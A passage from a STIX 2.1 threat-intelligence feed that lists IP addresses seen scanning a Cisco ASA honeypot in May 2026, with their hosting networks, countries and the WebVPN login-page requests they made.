        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:20:13.000Z",
      "valid_until": "2026-06-30T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-29T01:28:40.061Z",
          "last_seen": "2026-05-29T01:28:40.061Z",
          "country": "Luxembourg",
          "country_code": "LU",
          "asn": 214472,
          "as_org": "Offshore LC",
          "event_types": [
            "\"GET /admin/user/creation HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--667d93d6-87f4-4bd3-ac9a-18e531c227f9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.142.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:20:13.000Z",
      "valid_until": "2026-06-30T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T01:59:30.475Z",
          "last_seen": "2026-05-29T01:59:42.930Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--268a35a9-462a-4925-8f42-15d65757d28c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.177.24.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:20:13.000Z",
      "valid_until": "2026-06-30T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T01:40:11.489Z",
          "last_seen": "2026-05-30T06:08:43.487Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--04c14c3b-4a24-4ffc-85f0-fee41b5bb9f4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.160.218.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:20:13.000Z",
      "valid_until": "2026-06-30T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T01:45:41.493Z",
          "last_seen": "2026-05-29T03:31:05.770Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--cb3dfab7-7851-433c-8c76-8d54df54d6ff",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.137.155.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:20:13.000Z",
      "valid_until": "2026-06-30T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-29T01:22:29.568Z",
          "last_seen": "2026-05-31T03:14:19.992Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--899cb2f8-29b9-4a8a-bb75-32ff69b43273",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.87.125.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:20:13.000Z",
      "valid_until": "2026-06-30T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T02:06:47.678Z",
          "last_seen": "2026-05-29T02:07:01.354Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--f0966cb9-eb8b-49f2-8423-b67108c1f6b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.42.218.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:20:13.000Z",
      "valid_until": "2026-06-30T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T02:07:25.102Z",
          "last_seen": "2026-05-29T18:07:00.132Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--68538c9d-551d-48c8-bb50-db862636fdf0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.49.72.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:20:10.000Z",
      "valid_until": "2026-06-30T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-27T17:58:01.692Z",
          "last_seen": "2026-05-31T03:21:14.535Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--b19bd875-28f8-438e-ac44-33140bcdd9ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.232.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:20:10.000Z",
      "valid_until": "2026-06-30T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T03:00:23.765Z",
          "last_seen": "2026-05-29T04:09:12.669Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--8d815e59-88c2-4f60-bd7f-5d5ea6cddd2f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.68.83.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:20:10.000Z",
      "valid_until": "2026-06-30T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T04:07:55.245Z",
          "last_seen": "2026-05-30T05:48:33.896Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--56755432-92b8-47af-84e2-b0d1909a3242",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.98.41.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:20:10.000Z",
      "valid_until": "2026-06-30T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-29T04:01:12.554Z",
          "last_seen": "2026-05-30T10:21:19.539Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--ef64b32e-390d-4538-8a47-5baae81ceaba",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '186.243.255.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:20:10.000Z",
      "valid_until": "2026-06-30T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T03:58:43.476Z",
          "last_seen": "2026-05-29T03:58:54.577Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T04:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--f1f9789b-86a1-4a2c-bb31-146c3f650182",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T04:20:10.000Z",
      "valid_until": "2026-06-30T04:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-29T03:22:45.009Z",
          "last_seen": "2026-05-29T03:23:10.165Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--aedac2cb-a959-4e0f-ad06-41ce7c6c91dd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '136.234.239.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:20:10.000Z",
      "valid_until": "2026-06-30T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T04:35:54.763Z",
          "last_seen": "2026-05-29T22:33:18.965Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--b1988370-c0ab-4fef-bd9e-62721e01c191",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.187.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:20:10.000Z",
      "valid_until": "2026-06-30T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-14T07:05:04.140Z",
          "last_seen": "2026-05-30T08:54:55.505Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--139ce259-dee8-4aea-a64a-4b07837621d0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.168.230.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:20:10.000Z",
      "valid_until": "2026-06-30T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T02:56:08.506Z",
          "last_seen": "2026-05-29T04:44:09.618Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--21f22bd9-e441-4aa7-ad8d-c0612fcbd8a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.162.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:20:10.000Z",
      "valid_until": "2026-06-30T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T02:20:09.201Z",
          "last_seen": "2026-05-29T04:38:41.515Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--ccb9c5b5-269e-40eb-a1ae-303b97899074",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.230.192.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:20:10.000Z",
      "valid_until": "2026-06-30T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T05:18:45.318Z",
          "last_seen": "2026-05-29T05:18:59.428Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: CA; ASN 12989 (Black HOST Ltd)",
      "id": "indicator--63ea2fe5-3504-4c42-91d1-bb2cfb1521fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '86.54.31.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:20:10.000Z",
      "valid_until": "2026-06-30T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 10,
          "first_seen": "2026-05-29T04:34:59.886Z",
          "last_seen": "2026-05-29T04:35:35.162Z",
          "country": "Canada",
          "country_code": "CA",
          "asn": 12989,
          "as_org": "Black HOST Ltd",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /aaa9 HTTP/1.1\" 404 -",
            "\"GET /aad7 HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--bde00eb6-573f-428f-a01e-6ea0a8224244",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '88.151.115.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T05:20:10.000Z",
      "valid_until": "2026-06-30T05:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T04:54:58.320Z",
          "last_seen": "2026-05-29T04:55:10.402Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
